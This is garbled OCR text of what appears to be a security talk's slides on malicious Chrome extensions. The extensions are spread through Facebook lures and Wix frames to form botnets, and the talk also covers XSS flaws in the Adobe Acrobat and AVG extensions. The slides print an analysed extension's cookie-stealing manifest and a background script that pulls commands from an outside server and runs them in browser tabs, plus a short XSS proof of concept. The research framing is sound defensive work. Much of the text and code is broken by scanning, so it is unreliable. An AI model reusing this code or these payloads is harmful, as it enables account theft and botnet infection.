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Investigating Attack Patterns
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Attack Page
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! Apps + Bookmarks {5 Other Bookmarks

facebook friends

Descubre quienes son los que mas visitan tu facebook

cComo funciona?

Usamos una extension para obetener informacidén sobre las visitas
hacia tu perfil, luego la recopilamos mostrandote quienes son los
que mas han ingresado a tu perfil.

53.169 Personas ya lo han hecho

s available in the

" chrome web store

éCual es el significado de tu nombre? CLICK




Attack Page
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! Apps + Bookmarks {5 Other Bookmarks

facebook friends

Find out who are the most visited your facebook

How does it work?

We use an extension for obetener information about visits to your
profile, then collect showing you who are the ones who have
entered your profile.

53,769 people already have made

\s available in the
" chrome web store

What is the meaning of your name? CLICK




Google Web Store

New Tab

522 Apps s Bookmarks £5 Other Bookmarks
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Extension
Course of Action

Inject Code

INnto Facebook tabs

JPReR-YVIX Frame

. Transpare ide.a_Facebook page

It All Starts with Your Stunning W ehsis

N
( Start Now )

From within the frame
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Extension
Course
of Action
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Email

New Message

_c;—- Viad30 Unlocker

' 2. 8.6 & 480 Réseaux sociaux et communication

Inject Code
INto Facebook tabs

Open Wix Frame

Inside a Facebook page

Sign Up to Wix
Bypassing bot detection

Publish Wix Welsite
That leads to attack page

Distribute Link

Among all Facebook friends

Review Extension

In Google Web Store
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The Objective:

Use Wix as a distributor
to form a bot net



Bot Masters:
What Do They Want?

Q Send Spam

DDoS Attacks

\
Click Frauds

&
‘ Scrape Websites
R




facebook

Facebook ‘Comment Tagging Malware’ Spreading via

Google Chrome
By Wagason June 27,2016 % Email ¥ @hackread

IF YOU RECEIVE A FACEBOOK NOTIFICATION REGARDING A FRIEND TAGGING YOU
INA COMMENT BE VERY CAREFUL BEFORE CLICKING ON THE LINK IT CAN BE A
JAVASCRIPT MALWARE FOUND TARGETING USERS LATELY!




Tag Me If You Can

EXRONENTIAL

Uuin acomment.

Facebook

. comment_27734045.jse
o 19/ 65MB 4 secs lef




User Click Facebook Friends

New Payload

Extension >
Instance




This Maglcal Bot..
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What Makes A Good Bot

Goal: Look Human

I8 Javascript Challenges

Human Context




Browser Extension:

The Perfect Bot



What An Extension Can Do

Extension Manifest

{
"update url”: "https://clients2.google.com/

bagtg;;:gd . [{ BaCkQFOUHd "description": "Permet de profiter des avantages d'un compte vi

1 ~ -y | - "iCOI’IS": {
VleW-JS SC”pt "128": "ViadEO.png",

"16": "viadeo.png",

uérowser_aCtion": { } "48": "Viadeo-png"
"default_icon": "viadeo.png", 0! ;€
"default_popup": "index.html" Mmanites.L
. name":
"content_scripts": [ permiss1ons-:
{ tabs",
st [ "x://*.viadeo.com/",
||jquery.jsll’ StOI"age ’
"crack.js"
1, Snatch user
"matches": | »
"x://%.viadeo.com/*" cookies from

]
1, I

"version": "3.4",
"content_security policy": "script-src 'self' 'unsafe-eval'; ob

"webRequestBlockl any tab



Command & Control

Background Script

h e.tabs.onUpdated.addlListener( Any time a tab vmbrzaez pujhmpyy) {
C rom | | [ | | > [ ’
P IS updated P

var xhr obj = juykhjkhij();
xhr _obj['onreadystatechange']l = function() {

if X [ 00 ''reac te' == /

chrome['tabs'] ['executeScript'] ({ And execute them
code: xhr_obj['responseText’] on the active tab.

Get new commands

xhr obj['open']('get', 'http://appbda.co/data.js');

xhr_obj['send']();
1f (rkiyypsyn ==
rkiyypsyn = 1;

from the attacker’s server




Browser Extension:

The Perfect Bot



Too Much Work...

®
[E5 Other Bookmarks

facebook friends

Find out who are the most visited your facebook

How does it work?

We use an extension for obetener information about visits to your
profile, then collect showing you who are the ones who have
entered your profile.

53,7169 people already have made




How Can We Make It Easier?




Adobe Acrobat extension XSS

» January 2016
8 » 30 million installations
» XSS found by Google Project Zero

researcher Tavis Ormandy




® 0 == 1088 - Adobe: Adobe Acrobz' x | 9 Tomer

\ )

<& C' @& Secure https://bugs.chromium.org/p/project-zero/issues/detail?id=1088#c4 (%) (4]

Issue 1088 Adobe: Adobe Acrobat Force-Installed Vulnerable Chrome Extension
Starred by 4 users Project Member Reported by taviso@google.com, Jan 18 Back to list

Status: Fixed On January 12th, an automatic Adobe Acrobat update force installed a new chrome extension with

Owner: taviso@google.com ID efaidnbmnnnibpcajpcglclefindmkaj. You can view it on the Chrome Webstore here: https://chrom
’ e.google.com/webstore/detail /adobe-acrobat/efaidnbmnnnibpcaijpcglclefindmkaj/

Closed: Jan 18
Cc: project-...@google.com

Deadline-90 It didn't take long to notice there's a DOM XSS in data/js/frame.html

I can see from the webstore statistics it's already got ~30M installations.

Flnde!'-taws.c? 531 } else if (request.current status === "failure") ({
Severity-Critical 532 analytics(events.TREFOIL HTML CONVERT FAILED);
CCProjectZeroMembers 533 if (request.message) {

Vendor-Adobe 534 str status = request.message;

535 }
Product-Acrobat 536 success = false;

Reported-2017-Jan-12

Presumably you can do

window.open("chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/data/j 2 sage=" +
Sian in to add a comment encodeURIComponent (JSON.stringify({

panel op: "status"”,
current status: "failure',
message: "<hl>hello</hl1>"

}))):

I think CSP mjight make it impossible to jump straight to script execution, but you can iframe

non web_ accessible resources, and easily pivot that to code execution, or change privacy
options via options.html, etc.




The Frame That Framed the XSS

frame.js

op = request.panel_op;
switch (op) {
case "status'":
if (request.current_status === "waiting") {

} else if (request.current_status === "failure") {
analytics(events.TREFOIL HTML_CONVERT FAILED):

if (request.message) {

str_status - This s our
h payload!

success = false:
} <script>alert(l)</script>

}

if (str_status) {
5(".convert-title").removeClass("hidden"):
$(".convert-title").html(str_status); Raw input to HTML

Inline script!




Content-Security Policy

» CSP on extensions by default since 2014
* Prevents common JavaScript injections:
* Inline scripts

« eval functions

- Whitelist script sources



AVG Web Tuneup extension XSS

 December 2015
* 9 million installations

» XSS found by Google Project Zero

researcher Tavis Ormandy




AVG Web Tuneup XSS - DEMO

chrome. tabs.update (tabId, url)

“Chrome API

@ chrome

JEAVG

Listener

window.postMessage (payload) chrome.runtime. sendMessage (payload)



AVG Web Tuneup XSS - DEMO

chrome. tabs.update (p

d
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Studied Computer science at Harvard
University
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From Dobbs Ferry, New York
Followed by 89,442,176 people

Photos
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chrome.runtime. sendMessage (payload)



AVG Web Tuneup - DEMO



Finally: Creating Our Botnet




To Sum Up

» Browser extensions make great bots

» Attacker use extensions to run bot infection campaigns,
using social networks

» Extensions still got XSS’s, CSP is not enough

« Same infection campaign are achievable through

exploitation of extensions
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